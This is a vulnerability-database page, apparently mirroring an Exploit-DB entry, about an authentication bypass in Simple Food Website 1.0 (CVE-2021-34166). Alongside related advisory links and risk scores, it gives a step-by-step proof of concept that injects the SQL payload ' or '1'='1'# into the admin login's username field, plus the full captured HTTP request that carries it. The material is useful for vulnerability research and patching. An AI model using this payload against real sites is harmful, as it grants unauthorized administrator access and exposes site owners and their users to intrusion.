Lucene search
+L

Simple Food Website 1.0 - Authentication Bypass

🗓️ 05 Apr 2021 00:00:00Reported by Viren SarohaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 655 Views

Simple Food Website 1.0 Authentication Bypass on Vendor's External Lin

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-34166
30 Jul 202114:15
–attackerkb
circl
Circl
CVE-2021-34166
30 Jul 202118:21
–circl
cnnvd
CNNVD
SourceCodester Simple Food Website SQL Injection Vulnerability
30 Jul 202100:00
–cnnvd
cnvd
CNVD
SourceCodester Simple Food Website SQL Injection Vulnerability
16 Sep 202100:00
–cnvd
cve
CVE
CVE-2021-34166
28 Jul 202115:04
–cve
cvelist
Cvelist
CVE-2021-34166
28 Jul 202115:04
–cvelist
euvd
EUVD
EUVD-2021-20828
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2021-34166
30 Jul 202114:15
–nvd
osv_cve
osv_cve
CVE-2021-34166
30 Jul 202114:15
–osv_cve
prion
Prion
Sql injection
30 Jul 202114:15
–prion
Rows per page
# Exploit Title: Simple Food Website 1.0 - Authentication Bypass
# Date: 2021-04-03
# Exploit Author: Viren Saroha (illusion)
# Vendor Homepage: https://www.sourcecodester.com/php/12510/simple-food-website-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12510&title=Simple+Food+Website+%28CMS%29+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

POC

Step 1 -  Go to url http://localhost/food/admin/login.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.


REQUEST


POST /food/admin/process_login.php HTTP/1.1
Host: 192.168.132.128
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.132.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.132.128/food/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=44189551c332ee92a95246aac0756dd3
Connection: close

username=%27+or+%271%27%3D%271%27%23&password=randomPassword&Sign+In=Sign+In

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.05811
655